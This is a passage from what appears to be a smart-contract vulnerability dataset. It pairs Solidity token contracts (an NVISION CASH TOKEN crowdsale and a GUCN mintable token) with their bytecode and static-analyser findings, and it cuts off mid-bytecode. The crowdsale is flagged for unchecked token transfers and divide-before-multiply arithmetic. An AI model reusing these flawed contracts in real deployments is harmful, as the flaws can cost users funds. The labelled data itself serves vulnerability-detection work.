allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
event Burn(address indexed burner, uint indexed value);
}
contract NVISIONCASHTOKEN is BurnableToken {
string public constant name = "NVISION CASH TOKEN";
string public constant symbol = "NVCT";
uint32 public constant decimals = 18;
uint256 public INITIAL_SUPPLY = 27500000 * 1 ether;
function NVISIONCASHTOKEN() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
contract Crowdsale is Ownable {
using SafeMath for uint;
NVISIONCASHTOKEN public token = new NVISIONCASHTOKEN();
uint per_p_sale;
uint per_sale;
uint start_ico;
uint rate;
uint256 public ini_supply;
function Crowdsale() public {
rate = 50000 * 1 ether;
ini_supply = 27500000 * 1 ether;
uint256 ownerTokens = 2750000 * 1 ether;
token.transfer(owner, ownerTokens);
}
uint public refferBonus = 7;
function createTokens(address refferAddress) payable public {
uint tokens = rate.mul(msg.value).div(1 ether);
uint refferGetToken = tokens.div(100).mul(refferBonus);
token.transfer(msg.sender, tokens);
token.transfer(refferAddress, refferGetToken);
}
function createTokensWithoutReffer() payable public {
uint tokens = rate.mul(msg.value).div(1 ether);
token.transfer(msg.sender, tokens);
}
function refferBonusFunction(uint bonuseInpercentage) public onlyOwner{
refferBonus=bonuseInpercentage;
}
function airdropTokens(address[] _recipient,uint TokenAmount) public onlyOwner {
for(uint i = 0; i< _recipient.length; i++)
{
require(token.transfer(_recipient[i],TokenAmount));
}
}
//Just in case, owner wants to transfer Tokens from contract to owner address
function manualWithdrawToken(uint256 _amount) onlyOwner public {
uint tokenAmount = _amount * (1 ether);
token.transfer(msg.sender, tokenAmount);
}
function() external payable {
uint160 refferAddress = 0;
uint160 b = 0;
if(msg.data.length == 0)
{
createTokensWithoutReffer();
}
else
{
for (uint8 i = 0; i < 20; i++) {
refferAddress *= 256;
b = uint160(msg.data[i]);
refferAddress += (b);
}
createTokens(address(refferAddress));
}
forwardEherToOwner();
}
//Automatocally forwards ether from smart contract to owner address
function forwardEherToOwner() internal {
if (!owner.send(msg.value)) {
revert();
}
}
} | 0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d45780632ff2e9dc14610259578063313ce5671461028457806342966c68146102bb57806370a08231146102e857806395d89b411461033f578063a9059cbb146103cf578063dd62ed3e14610434575b600080fd5b3480156100c057600080fd5b506100c96104ab565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104e4565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be61066b565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610671565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e610921565b6040518082815260200191505060405180910390f35b34801561029057600080fd5b50610299610927565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b3480156102c757600080fd5b506102e66004803603810190808035906020019092919050505061092c565b005b3480156102f457600080fd5b50610329600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a37565b6040518082815260200191505060405180910390f35b34801561034b57600080fd5b50610354610a80565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610394578082015181840152602081019050610379565b50505050905090810190601f1680156103c15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103db57600080fd5b5061041a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ab9565b604051808215151515815260200191505060405180910390f35b34801561044057600080fd5b50610495600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c54565b6040518082815260200191505060405180910390f35b6040805190810160405280601281526020017f4e564953494f4e204341534820544f4b454e000000000000000000000000000081525081565b60008082148061057057506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561057b57600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061074583600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cdb90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506107da83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cf990919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108308382610cf990919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60035481565b601281565b6000808211151561093c57600080fd5b33905061099182600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cf990919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e982600054610cf990919063ffffffff16565b600081905550818173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca560405160405180910390a35050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600481526020017f4e5643540000000000000000000000000000000000000000000000000000000081525081565b6000610b0d82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cf990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ba282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cdb90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284019050838110151515610cef57fe5b8091505092915050565b6000828211151515610d0757fe5b8183039050929150505600a165627a7a723058202c1a055ca073c6374ceccc66d0ff134fa99edd64eef7f67269445c3492a6dbb50029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 989 |
0x2f94cf1e282580226680d06bdeb63f34cca9c5d0 | pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20,Pausable {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) whenNotPaused public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
whenNotPaused
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) whenNotPaused public returns (bool) {
require(_value == 0 || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
whenNotPaused
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
whenNotPaused
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param _account The account that will receive the created tokens.
* @param _amount The amount that will be created.
*/
function _mint(address _account, uint256 _amount) internal {
require(_account != 0);
totalSupply_ = totalSupply_.add(_amount);
balances[_account] = balances[_account].add(_amount);
emit Transfer(address(0), _account, _amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param _account The account whose tokens will be burnt.
* @param _amount The amount that will be burnt.
*/
function _burn(address _account, uint256 _amount) internal {
require(_account != 0);
require(_amount <= balances[_account]);
totalSupply_ = totalSupply_.sub(_amount);
balances[_account] = balances[_account].sub(_amount);
emit Transfer(_account, address(0), _amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal _burn function.
* @param _account The account whose tokens will be burnt.
* @param _amount The amount that will be burnt.
*/
function _burnFrom(address _account, uint256 _amount) internal {
require(_amount <= allowed[_account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount);
_burn(_account, _amount);
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
_burnFrom(_from, _value);
}
/**
* @dev Overrides StandardToken._burn in order for burn and burnFrom to emit
* an additional Burn event.
*/
function _burn(address _who, uint256 _value) internal {
super._burn(_who, _value);
emit Burn(_who, _value);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is BurnableToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
_mint(_to, _amount);
emit Mint(_to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
/**
* @dev Function to start minting new tokens.
* @return True if the operation was successful.
*/
function startMinting() public onlyOwner returns (bool) {
mintingFinished = false;
return true;
}
}
contract GUCN is MintableToken {
// If ether is sent to this address, send it back.
function () public {
revert();
}
string public constant name = "Ancient coins’ chain";
string public constant symbol = "GUCN";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 10000000000;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY * (10 ** uint256(decimals));
balances[msg.sender] = totalSupply_;
emit Transfer(address(0), msg.sender, totalSupply_);
}
} | 0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461014557806306fdde0314610174578063095ea7b31461020457806318160ddd1461026957806323b872dd146102945780632ff2e9dc14610319578063313ce567146103445780633f4ba83a1461037557806340c10f191461038c57806342966c68146103f15780635c975abb1461041e578063661884631461044d57806370a08231146104b257806379cc6790146105095780637d64bcb4146105565780638456cb59146105855780638da5cb5b1461059c57806395d89b41146105f35780639a65ea2614610683578063a9059cbb146106b2578063d73dd62314610717578063dd62ed3e1461077c578063f2fde38b146107f3575b34801561013f57600080fd5b50600080fd5b34801561015157600080fd5b5061015a610836565b604051808215151515815260200191505060405180910390f35b34801561018057600080fd5b50610189610849565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c95780820151818401526020810190506101ae565b50505050905090810190601f1680156101f65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021057600080fd5b5061024f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610882565b604051808215151515815260200191505060405180910390f35b34801561027557600080fd5b5061027e610a25565b6040518082815260200191505060405180910390f35b3480156102a057600080fd5b506102ff600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a2f565b604051808215151515815260200191505060405180910390f35b34801561032557600080fd5b5061032e610e0a565b6040518082815260200191505060405180910390f35b34801561035057600080fd5b50610359610e13565b604051808260ff1660ff16815260200191505060405180910390f35b34801561038157600080fd5b5061038a610e18565b005b34801561039857600080fd5b506103d7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ed6565b604051808215151515815260200191505060405180910390f35b3480156103fd57600080fd5b5061041c60048036038101908080359060200190929190505050610fb1565b005b34801561042a57600080fd5b50610433610fbe565b604051808215151515815260200191505060405180910390f35b34801561045957600080fd5b50610498600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fd1565b604051808215151515815260200191505060405180910390f35b3480156104be57600080fd5b506104f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061127f565b6040518082815260200191505060405180910390f35b34801561051557600080fd5b50610554600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112c8565b005b34801561056257600080fd5b5061056b6112d6565b604051808215151515815260200191505060405180910390f35b34801561059157600080fd5b5061059a61139d565b005b3480156105a857600080fd5b506105b161145d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105ff57600080fd5b50610608611482565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561064857808201518184015260208101905061062d565b50505050905090810190601f1680156106755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561068f57600080fd5b506106986114bb565b604051808215151515815260200191505060405180910390f35b3480156106be57600080fd5b506106fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061153a565b604051808215151515815260200191505060405180910390f35b34801561072357600080fd5b50610762600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061177a565b604051808215151515815260200191505060405180910390f35b34801561078857600080fd5b506107dd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611991565b6040518082815260200191505060405180910390f35b3480156107ff57600080fd5b50610834600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a18565b005b600460009054906101000a900460ff1681565b6040805190810160405280601681526020017f416e6369656e7420636f696e73e2809920636861696e0000000000000000000081525081565b60008060149054906101000a900460ff1615151561089f57600080fd5b600082148061092a57506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561093557600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b60008060149054906101000a900460ff16151515610a4c57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a9a57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b2557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b6157600080fd5b610bb382600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7f90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c4882600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aa090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d1a82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7f90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6402540be40081565b601281565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7357600080fd5b600060149054906101000a900460ff161515610e8e57600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f3357600080fd5b600460009054906101000a900460ff16151515610f4f57600080fd5b610f598383611ac1565b8273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a26001905092915050565b610fbb3382611c01565b50565b600060149054906101000a900460ff1681565b600080600060149054906101000a900460ff16151515610ff057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831015156110ff576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611193565b6111128382611a7f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112d28282611c5d565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133357600080fd5b600460009054906101000a900460ff1615151561134f57600080fd5b6001600460006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113f857600080fd5b600060149054906101000a900460ff1615151561141457600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235c